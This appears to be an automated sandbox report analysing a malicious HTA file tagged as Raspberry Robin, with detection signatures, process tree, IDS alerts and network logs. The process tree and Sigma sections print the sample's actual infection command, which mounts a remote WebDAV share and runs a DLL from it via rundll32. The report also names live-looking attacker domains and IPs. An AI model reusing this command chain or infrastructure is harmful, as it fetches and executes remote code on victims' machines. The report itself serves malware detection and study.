Edit tour

Windows Analysis Report
search.hta

Overview

General Information

Sample name:	search.hta
Analysis ID:	1581471
MD5:	e9645750186d98cfabf7fff0727daafb
SHA1:	8b30f7437044c1eabd6544016a40db51d9f391db
SHA256:	1dcfad203173b4182ab886003049b1b4c94f67967a2b91976120bab8a0003f8a
Tags:	htaRaspberryRobinuser-aachum
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Suricata IDS alerts for network traffic

AI detected suspicious sample

Gathers information about network shares

Sigma detected: Suspicious MSHTA Child Process

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Contains functionality to call native functions

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

mshta.exe (PID: 7372 cmdline: mshta.exe "C:\Users\user\Desktop\search.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)

cmd.exe (PID: 7572 cmdline: "C:\Windows\System32\cmd.exe" /c net use V: \\1p.si@ssl\ko && C:\Windows\system32\rundll32 V:\wq\~0.dll,%time% MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7584 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 7652 cmdline: net use V: \\1p.si@ssl\ko MD5: 31890A7DE89936F922D44D677F681A7F)

rundll32.exe (PID: 8152 cmdline: C:\Windows\system32\rundll32 V:\wq\~0.dll,14:44:03.56 MD5: 889B99C52A60DD49227C5E485A016679)

cmd.exe (PID: 7592 cmdline: "C:\Windows\System32\cmd.exe" /c timeout 200 && net use V: /d /y MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 7688 cmdline: timeout 200 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

net.exe (PID: 4460 cmdline: net use V: /d /y MD5: 31890A7DE89936F922D44D677F681A7F)

cleanup

Sigma Signatures

System Summary

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\cmd.exe" /c net use V: \\1p.si@ssl\ko && C:\Windows\system32\rundll32 V:\wq\~0.dll,%time%, CommandLine: "C:\Windows\System32\cmd.exe" /c net use V: \\1p.si@ssl\ko && C:\Windows\system32\rundll32 V:\wq\~0.dll,%time%, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: mshta.exe "C:\Users\user\Desktop\search.hta", ParentImage: C:\Windows\SysWOW64\mshta.exe, ParentProcessId: 7372, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c net use V: \\1p.si@ssl\ko && C:\Windows\system32\rundll32 V:\wq\~0.dll,%time%, ProcessId: 7572, ProcessName: cmd.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use V: \\1p.si@ssl\ko, CommandLine: net use V: \\1p.si@ssl\ko, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c net use V: \\1p.si@ssl\ko && C:\Windows\system32\rundll32 V:\wq\~0.dll,%time%, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7572, ParentProcessName: cmd.exe, ProcessCommandLine: net use V: \\1p.si@ssl\ko, ProcessId: 7652, ProcessName: net.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use V: \\1p.si@ssl\ko, CommandLine: net use V: \\1p.si@ssl\ko, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c net use V: \\1p.si@ssl\ko && C:\Windows\system32\rundll32 V:\wq\~0.dll,%time%, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7572, ParentProcessName: cmd.exe, ProcessCommandLine: net use V: \\1p.si@ssl\ko, ProcessId: 7652, ProcessName: net.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T20:44:06.328949+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	147.45.112.248	443	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T20:44:06.807741+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	147.45.112.248	443	TCP
2024-12-27T20:44:12.387879+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49736	147.45.112.248	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Source: unknown	HTTPS traffic detected: 172.67.153.170:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 147.45.112.248:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 147.45.112.248:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 147.45.112.248:443 -> 192.168.2.4:49739 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49736 -> 147.45.112.248:443
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 147.45.112.248:443

Source: Joe Sandbox View

ASN Name: FREE-NET-ASFREEnetEU FREE-NET-ASFREEnetEU

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 147.45.112.248:443

Source: global traffic

HTTP traffic detected: GET /2l5hd077qf4vj HTTP/1.1Accept: */*Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 6bbce9aa.demonetisation.cyouConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /2l5hd077qf4vj HTTP/1.1Accept: /Accept-Language: en-CHAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 6bbce9aa.demonetisation.cyouConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ko/wq/~0.dll HTTP/1.1Cache-Control: no-cacheConnection: Keep-AlivePragma: no-cacheUser-Agent: Microsoft-WebDAV-MiniRedir/10.0.19045translate: fHost: 1p.si

Source: global traffic	DNS traffic detected: DNS query: 6bbce9aa.demonetisation.cyou
Source: global traffic	DNS traffic detected: DNS query: 1p.si

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.2Date: Fri, 27 Dec 2024 19:44:19 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.2Date: Fri, 27 Dec 2024 19:44:33 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.2Date: Fri, 27 Dec 2024 19:44:36 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.2Date: Fri, 27 Dec 2024 19:44:38 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.2Date: Fri, 27 Dec 2024 19:44:41 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.2Date: Fri, 27 Dec 2024 19:44:41 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.2Date: Fri, 27 Dec 2024 19:44:41 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.2Date: Fri, 27 Dec 2024 19:44:41 GMTContent-Type: text/htmlContent-Length: 146Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.2Date: Fri, 27 Dec 2024 19:44:43 GMTContent-Type: text/htmlContent-Length: 146Connection: close

Source: net.exe, 00000005.00000002.1878721536.000000000336B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: net.exe, 00000005.00000002.1878721536.0000000003328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://1p.si/
Source: net.exe, 00000005.00000002.1878721536.000000000336B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000005.00000002.1878721536.0000000003362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://1p.si/ko
Source: net.exe, 00000005.00000002.1878721536.0000000003362000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://1p.si/ko0l
Source: net.exe, 00000005.00000002.1878721536.000000000336B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://1p.si/koY
Source: mshta.exe, 00000000.00000003.1751866253.00000000033B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1752568811.00000000033B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1754537248.00000000033B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://6bbce9aa.demonetisation.cyou/
Source: mshta.exe, 00000000.00000003.1751866253.00000000033DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://6bbce9aa.demonetisation.cyou/2l5hd077qf4vj
Source: mshta.exe, 00000000.00000003.1751866253.00000000033B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1751866253.00000000033A3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1752355417.00000000033A3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1752568811.00000000033B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1754481230.00000000033A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://6bbce9aa.demonetisation.cyou/2l5hd077qf4vj5hd077qf4vj
Source: mshta.exe, 00000000.00000003.1751866253.00000000033A3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1752355417.00000000033A3000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1754481230.00000000033A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://6bbce9aa.demonetisation.cyou/2l5hd077qf4vjD
Source: mshta.exe, 00000000.00000003.1751866253.00000000033B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1752568811.00000000033B6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1754537248.00000000033B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://6bbce9aa.demonetisation.cyou/Ng
Source: mshta.exe, 00000000.00000003.1752568811.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000002.1754537248.00000000033DA000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000000.00000003.1751866253.00000000033DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443

Source: unknown	HTTPS traffic detected: 172.67.153.170:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 147.45.112.248:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 147.45.112.248:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 147.45.112.248:443 -> 192.168.2.4:49739 version: TLS 1.2

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 13_2_054B30AA NtCreateThreadEx,

13_2_054B30AA

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051C3510	13_2_051C3510
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051C1000	13_2_051C1000
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051CDC30	13_2_051CDC30
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051D1B2C	13_2_051D1B2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051C2824	13_2_051C2824
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051CD096	13_2_051CD096
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051C7090	13_2_051C7090
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051C4290	13_2_051C4290
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051C79B5	13_2_051C79B5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051C8DDC	13_2_051C8DDC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051CB6D4	13_2_051CB6D4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_051C79C0	13_2_051C79C0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_054A7D70	13_2_054A7D70
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_054A6E36	13_2_054A6E36
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_054B04E0	13_2_054B04E0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_054A3D9F	13_2_054A3D9F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_054B30AA	13_2_054B30AA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_054A7110	13_2_054A7110
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_054ABF10	13_2_054ABF10
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_054B1380	13_2_054B1380
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_054A4A90	13_2_054A4A90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 13_2_054AB5B0	13_2_054AB5B0

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: classification engine

Classification label: mal64.spyw.evad.winHTA@15/0@2/2

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7584:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7620:120:WilError_03

Source: C:\Windows\SysWOW64\mshta.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : win32_processor

Source: C:\Windows\SysWOW64\mshta.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\system32\rundll32 V:\wq\~0.dll,14:44:03.56

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\search.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c net use V: \\1p.si@ssl\ko && C:\Windows\system32\rundll32 V:\wq\~0.dll,%time%
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 200 && net use V: /d /y
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net use V: \\1p.si@ssl\ko
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 200
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\system32\rundll32 V:\wq\~0.dll,14:44:03.56
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net use V: /d /y
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c net use V: \\1p.si@ssl\ko && C:\Windows\system32\rundll32 V:\wq\~0.dll,%time%	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout 200 && net use V: /d /y	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net use V: \\1p.si@ssl\ko	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\system32\rundll32 V:\wq\~0.dll,14:44:03.56	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 200	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\net.exe net use V: /d /y	Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\net.exe	Section loaded: winhttp.dll	Jump to behavior
